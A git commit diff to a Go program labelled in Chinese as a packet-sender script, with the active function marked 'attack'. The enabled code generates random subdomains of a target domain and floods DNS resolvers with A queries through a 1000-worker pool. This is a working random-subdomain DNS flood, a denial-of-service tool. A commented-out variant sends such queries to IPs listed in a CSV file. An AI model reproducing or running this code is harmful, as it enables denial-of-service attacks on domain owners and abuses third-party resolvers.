summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
author韩丁康 <[email protected]>2023-11-14 10:17:55 +0800
committer韩丁康 <[email protected]>2023-11-14 10:17:55 +0800
commitc9672ec5a7e182da686d1c596cd5eac47582aedc (patch)
treef72eb9ada1662cb1ee7c6a3a2783b5f4543dd9ec
parent58a23f81cf806a7554903779e28c1d14704cd38f (diff)
发包器脚本
-rw-r--r--.idea/vcs.xml6
-rw-r--r--main.go150
2 files changed, 81 insertions, 75 deletions
diff --git a/.idea/vcs.xml b/.idea/vcs.xml
new file mode 100644
index 0000000..94a25f7
--- /dev/null
+++ b/.idea/vcs.xml
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<project version="4">
+ <component name="VcsDirectoryMappings">
+ <mapping directory="$PROJECT_DIR$" vcs="Git" />
+ </component>
+</project> \ No newline at end of file
diff --git a/main.go b/main.go
index 7d317ce..ea5ec2e 100644
--- a/main.go
+++ b/main.go
@@ -15,43 +15,6 @@ import (
)
// 攻击
-//func main() {
-// defer ants.Release()
-//
-// var wg sync.WaitGroup
-//
-// p, _ := ants.NewPool(1000, ants.WithPreAlloc(true))
-//
-// c := new(dns.Client)
-// args := os.Args
-// qname := args[1]
-// runcount, _ := strconv.Atoi(args[2])
-// for i := runcount; i > 0; i-- {
-// for _, v := range args[3:] {
-// wg.Add(1)
-//
-// fqdn := strings.ToLower(randstr.String(10)) + "." + qname
-//
-// print(fqdn + "\n")
-// msg := dns.Msg{}
-// msg.SetQuestion(fqdn, dns.TypeA)
-// vi := v + ":53"
-//
-// _ = p.Submit(
-// func() {
-// _, _, err := c.Exchange(&msg, vi)
-// wg.Done()
-// if err != nil {
-// return
-// }
-// })
-// }
-// }
-// wg.Wait()
-// print("完成!!")
-//}
-
-// 测试入口出口关联
func main() {
defer ants.Release()
@@ -61,50 +24,18 @@ func main() {
c := new(dns.Client)
args := os.Args
- // 目标域名
- qname := args[0]
- // 目标文件路径
- qpath := args[1]
- // 运行次数
+ qname := args[1]
runcount, _ := strconv.Atoi(args[2])
-
- f, err := os.Open(qpath)
- if err != nil {
- log.Fatal(err)
- }
- defer f.Close()
- // read csv values using csv.Reader
- csvReader := csv.NewReader(f)
- // 进度条初始化
- r := bufio.NewReader(f)
- num := 0
- for {
- _, err := r.ReadString('\n')
- if io.EOF == err || nil != err {
- break
- }
- num += 1
- }
- bar := progressbar.Default(int64(num))
-
for i := runcount; i > 0; i-- {
- for {
+ for _, v := range args[3:] {
wg.Add(1)
- // 逐行读取
- rec, err := csvReader.Read()
- if err == io.EOF {
- break
- }
- if err != nil {
- log.Fatal(err)
- }
-
- fqdn := strings.ReplaceAll(rec[0], ":", "-") + "." + qname
+ fqdn := strings.ToLower(randstr.String(10)) + "." + qname
+ print(fqdn + "\n")
msg := dns.Msg{}
msg.SetQuestion(fqdn, dns.TypeA)
- vi := rec[0] + ":53"
+ vi := v + ":53"
_ = p.Submit(
func() {
@@ -114,9 +45,78 @@ func main() {
return
}
})
- bar.Add(1)
}
}
wg.Wait()
print("完成!!")
}
+
+// 测试入口出口关联
+// func main() {
+// defer ants.Release()
+
+// var wg sync.WaitGroup
+
+// p, _ := ants.NewPool(100, ants.WithPreAlloc(true))
+
+// c := new(dns.Client)
+// args := os.Args
+// // 目标域名
+// qname := args[0]
+// // 目标文件路径
+// qpath := args[1]
+// // 运行次数
+// runcount, _ := strconv.Atoi(args[2])
+
+// f, err := os.Open(qpath)
+// if err != nil {
+// log.Fatal(err)
+// }
+// defer f.Close()
+// // read csv values using csv.Reader
+// csvReader := csv.NewReader(f)
+// // 进度条初始化
+// r := bufio.NewReader(f)
+// num := 0
+// for {
+// _, err := r.ReadString('\n')
+// if io.EOF == err || nil != err {
+// break
+// }
+// num += 1
+// }
+// bar := progressbar.Default(int64(num))
+
+// for i := runcount; i > 0; i-- {
+// for {
+// wg.Add(1)
+
+// // 逐行读取
+// rec, err := csvReader.Read()
+// if err == io.EOF {
+// break
+// }
+// if err != nil {
+// log.Fatal(err)
+// }
+
+// fqdn := strings.ReplaceAll(rec[0], ":", "-") + "." + qname
+
+// msg := dns.Msg{}
+// msg.SetQuestion(fqdn, dns.TypeA)
+// vi := rec[0] + ":53"
+
+// _ = p.Submit(
+// func() {
+// _, _, err := c.Exchange(&msg, vi)
+// wg.Done()
+// if err != nil {
+// return
+// }
+// })
+// bar.Add(1)
+// }
+// }
+// wg.Wait()
+// print("完成!!")
+// }